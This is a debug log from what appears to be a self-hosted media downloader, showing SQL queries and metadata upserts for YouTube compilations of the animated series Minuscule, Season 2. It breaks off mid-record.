https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#broom #carrot #wasps #centipede #spider #pine #transportation #snowy #Minuscule #nature #insects #ladybugs #animatedseries", "Broom's Sweep | Minuscule 🍃 15' Compilation", "wiTbTtZA7us", 747, false, 5, "https://www.youtube.com/watch?v=wiTbTtZA7us", "/downloads/Miniscule Season 2/2025-06-28 Broom's Sweep | Minuscule 🍃 15' Compilation/Broom's Sweep | Minuscule 🍃 15' Compilation [wiTbTtZA7us].mp4", false, ~U[2025-06-28 18:00:50Z]] 22:10:10.398 [debug] QUERY OK source="sources" db=0.2ms idle=462.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:10.398 [debug] QUERY OK source="media_profiles" db=0.2ms idle=22.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:10.399 [debug] QUERY OK source="media_items" db=0.7ms idle=21.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91156] 22:10:10.399 [debug] Current batch of media processed. Will check again in 1000ms 22:10:11.401 [debug] Current batch of media processed. Will check again in 1000ms 22:10:12.402 [debug] Current batch of media processed. Will check again in 1000ms 22:10:13.403 [debug] Current batch of media processed. Will check again in 1000ms 22:10:14.404 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Down The Chimney | S02E42\n00:03:45 | Umbrella And Coconut Trees | S02E71\n00:07:19 | The Yule log | S02E35\n00:11:04 | Away all boarders! | S02E41\n00:14:47 | The Housing Plant Project | S02E26\n00:18:23 | Ladybugland | S02E62\n00:21:51 | If Only Lonely | S02E22\n00:25:36 | Snow Fly | S02E51\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybugs #chimney #Christmas #winter #umbrella #coconut #ladybug #Minuscule #nature #insects #animatedseries", "duration" => 1779, "filename" => "/downloads/Miniscule Season 2/2025-07-01 Down The Chimney | Minuscule 🍃 40' Compilation/Down The Chimney | Minuscule 🍃 40' Compilation [TyXg5k2lZA4].mp4", "id" => "TyXg5k2lZA4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TyXg5k2lZA4", "playlist_index" => 45, "timestamp" => 1751349621, "title" => "Down The Chimney | Minuscule 🍃 40' Compilation", "upload_date" => "20250701"} 22:10:14.405 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=461.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:10:14.406 [debug] QUERY OK source="sources" db=0.4ms idle=234.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:14.408 [debug] QUERY OK source="media_items" db=1.1ms idle=235.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-01 06:00:21Z], 5] 22:10:14.419 [debug] QUERY OK source="media_items" db=10.8ms idle=237.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Down The Chimney | S02E42\n00:03:45 | Umbrella And Coconut Trees | S02E71\n00:07:19 | The Yule log | S02E35\n00:11:04 | Away all boarders! | S02E41\n00:14:47 | The Housing Plant Project | S02E26\n00:18:23 | Ladybugland | S02E62\n00:21:51 | If Only Lonely | S02E22\n00:25:36 | Snow Fly | S02E51\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybugs #chimney #Christmas #winter #umbrella #coconut #ladybug #Minuscule #nature #insects #animatedseries", "Down The Chimney | Minuscule 🍃 40' Compilation", "52f6d5e7-4f7f-4eb1-bae6-53fd567e9fc1", "TyXg5k2lZA4", 1779, false, 5, "https://www.youtube.com/watch?v=TyXg5k2lZA4", 45, "/downloads/Miniscule Season 2/2025-07-01 Down The Chimney | Minuscule 🍃 40' Compilation/Down The Chimney | Minuscule 🍃 40' Compilation [TyXg5k2lZA4].mp4", false, false, false, [], 1, ~U[2025-07-01 06:00:21Z], ~U[2025-12-12 05:10:14Z], ~U[2025-12-12 05:10:14Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Down The Chimney | S02E42\n00:03:45 | Umbrella And Coconut Trees | S02E71\n00:07:19 | The Yule log | S02E35\n00:11:04 | Away all boarders! | S02E41\n00:14:47 | The Housing Plant Project | S02E26\n00:18:23 | Ladybugland | S02E62\n00:21:51 | If Only Lonely | S02E22\n00:25:36 | Snow Fly | S02E51\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybugs #chimney #Christmas #winter #umbrella #coconut #ladybug #Minuscule #nature #insects #animatedseries", "Down The Chimney | Minuscule 🍃 40' Compilation", "TyXg5k2lZA4", 1779, false, 5, "https://www.youtube.com/watch?v=TyXg5k2lZA4", "/downloads/Miniscule Season 2/2025-07-01 Down The Chimney | Minuscule 🍃 40' Compilation/Down The Chimney | Minuscule 🍃 40' Compilation [TyXg5k2lZA4].mp4", false, ~U[2025-07-01 06:00:21Z]] 22:10:14.420 [debug] QUERY OK source="sources" db=0.5ms idle=248.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:14.421 [debug] QUERY OK source="media_profiles" db=0.5ms idle=15.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:14.422 [debug] QUERY OK source="media_items" db=0.4ms idle=15.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91645] 22:10:14.422 [debug] Current batch of media processed. Will check again in 1000ms 22:10:15.424 [debug] Current batch of media processed. Will check again in 1000ms 22:10:16.425 [debug] Current batch of media processed. Will check again in 1000ms 22:10:17.426 [debug] Current batch of media processed. Will check again in 1000ms 22:10:18.427 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | It's a tie! | S02E67\n00:03:40 | At Full Speed | S02E27\n00:07:24 | The Housing Plant Project | S02E26\n00:11:00 | White As Snow | S02E63\n00:14:37 | Chewing gum rodeo | S02E14\n00:18:22 | An Acorn Season | S02E05\n00:22:08 | Ants On The Train | S02E52\n00:25:39 | Snow Fly | S02E51\n00:29:04 | Bzzaping | S02E03\n00:32:51 | Go Blue Go! | S02E54\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#insects #games #competition #referee #race #country #wacky #Minuscule #nature #ladybugs #animatedseries", "duration" => 2231, "filename" => "/downloads/Miniscule Season 2/2025-06-21 It's a tie! | Minuscule 🍃 50' Compilation/It's a tie! | Minuscule 🍃 50' Compilation [uxyo_7irQn8].mp4", "id" => "uxyo_7irQn8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=uxyo_7irQn8", "playlist_index" => 46, "timestamp" => 1750528861, "title" => "It's a tie! | Minuscule 🍃 50' Compilation", "upload_date" => "20250621"} 22:10:18.428 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=476.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:10:18.429 [debug] QUERY OK source="sources" db=0.2ms idle=257.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:18.430 [debug] QUERY OK source="media_items" db=0.7ms idle=258.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-21 18:01:01Z], 5] 22:10:18.432 [debug] QUERY OK source="media_items" db=1.5ms idle=259.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | It's a tie! | S02E67\n00:03:40 | At Full Speed | S02E27\n00:07:24 | The Housing Plant Project | S02E26\n00:11:00 | White As Snow | S02E63\n00:14:37 | Chewing gum rodeo | S02E14\n00:18:22 | An Acorn Season | S02E05\n00:22:08 | Ants On The Train | S02E52\n00:25:39 | Snow Fly | S02E51\n00:29:04 | Bzzaping | S02E03\n00:32:51 | Go Blue Go! | S02E54\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#insects #games #competition #referee #race #country #wacky #Minuscule #nature #ladybugs #animatedseries", "It's a tie! | Minuscule 🍃 50' Compilation", "c38e2b1b-14b2-476c-b589-4874562da524", "uxyo_7irQn8", 2231, false, 5, "https://www.youtube.com/watch?v=uxyo_7irQn8", 46, "/downloads/Miniscule Season 2/2025-06-21 It's a tie! | Minuscule 🍃 50' Compilation/It's a tie! | Minuscule 🍃 50' Compilation [uxyo_7irQn8].mp4", false, false, false, [], 1, ~U[2025-06-21 18:01:01Z], ~U[2025-12-12 05:10:18Z], ~U[2025-12-12 05:10:18Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | It's a tie! | S02E67\n00:03:40 | At Full Speed | S02E27\n00:07:24 | The Housing Plant Project | S02E26\n00:11:00 | White As Snow | S02E63\n00:14:37 | Chewing gum rodeo | S02E14\n00:18:22 | An Acorn Season | S02E05\n00:22:08 | Ants On The Train | S02E52\n00:25:39 | Snow Fly | S02E51\n00:29:04 | Bzzaping | S02E03\n00:32:51 | Go Blue Go! | S02E54\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#insects #games #competition #referee #race #country #wacky #Minuscule #nature #ladybugs #animatedseries", "It's a tie! | Minuscule 🍃 50' Compilation", "uxyo_7irQn8", 2231, false, 5, "https://www.youtube.com/watch?v=uxyo_7irQn8", "/downloads/Miniscule Season 2/2025-06-21 It's a tie! | Minuscule 🍃 50' Compilation/It's a tie! | Minuscule 🍃 50' Compilation [uxyo_7irQn8].mp4", false, ~U[2025-06-21 18:01:01Z]] 22:10:18.432 [debug] QUERY OK source="sources" db=0.2ms idle=261.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:18.433 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:18.434 [debug] QUERY OK source="media_items" db=0.3ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91158] 22:10:18.434 [debug] Current batch of media processed. Will check again in 1000ms 22:10:18.829 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:19.435 [debug] Current batch of media processed. Will check again in 1000ms 22:10:20.436 [debug] Current batch of media processed. Will check again in 1000ms 22:10:21.437 [debug] Current batch of media processed. Will check again in 1000ms 22:10:22.438 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Away all boarders! | S02E41\n00:03:42 | Twelve Angry Snails | S02E66\n00:07:15 | Top Tabasco | S02E70\n00:10:52 | Turbo speed | S02E58\n00:14:17 | Sand Castle | S02E49\n00:17:43 | White As Snow | S02E63\n00:21:20 | Metamorphosis | S02E61\n00:24:50 | Ants On The Train | S02E52\n00:28:22 | The Monster Of The Haunted Swamp | S02E37\n00:31:52 | Patatas Fritas | S02E21\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#battle #ants #cottage #pistachios #snails #escape #gourmet #restaurant #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2177, "filename" => "/downloads/Miniscule Season 2/2025-06-19 Away all boarders! | Minuscule 🍃 45' Compilation/Away all boarders! | Minuscule 🍃 45' Compilation [G4SP8ouB0Yk].mp4", "id" => "G4SP8ouB0Yk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=G4SP8ouB0Yk", "playlist_index" => 47, "timestamp" => 1750327304, "title" => "Away all boarders! | Minuscule 🍃 45' Compilation", "upload_date" => "20250619"} 22:10:22.439 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=479.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:10:22.440 [debug] QUERY OK source="sources" db=0.4ms idle=268.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:22.441 [debug] QUERY OK source="media_items" db=1.2ms idle=269.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-19 10:01:44Z], 5] 22:10:22.479 [debug] QUERY OK source="media_items" db=36.7ms idle=271.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Away all boarders! | S02E41\n00:03:42 | Twelve Angry Snails | S02E66\n00:07:15 | Top Tabasco | S02E70\n00:10:52 | Turbo speed | S02E58\n00:14:17 | Sand Castle | S02E49\n00:17:43 | White As Snow | S02E63\n00:21:20 | Metamorphosis | S02E61\n00:24:50 | Ants On The Train | S02E52\n00:28:22 | The Monster Of The Haunted Swamp | S02E37\n00:31:52 | Patatas Fritas | S02E21\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#battle #ants #cottage #pistachios #snails #escape #gourmet #restaurant #Minuscule #nature #insects #ladybugs #animatedseries", "Away all boarders! | Minuscule 🍃 45' Compilation", "c04c0161-1963-4d67-a7ac-6aed9dbf2072", "G4SP8ouB0Yk", 2177, false, 5, "https://www.youtube.com/watch?v=G4SP8ouB0Yk", 47, "/downloads/Miniscule Season 2/2025-06-19 Away all boarders! | Minuscule 🍃 45' Compilation/Away all boarders! | Minuscule 🍃 45' Compilation [G4SP8ouB0Yk].mp4", false, false, false, [], 1, ~U[2025-06-19 10:01:44Z], ~U[2025-12-12 05:10:22Z], ~U[2025-12-12 05:10:22Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Away all boarders! | S02E41\n00:03:42 | Twelve Angry Snails | S02E66\n00:07:15 | Top Tabasco | S02E70\n00:10:52 | Turbo speed | 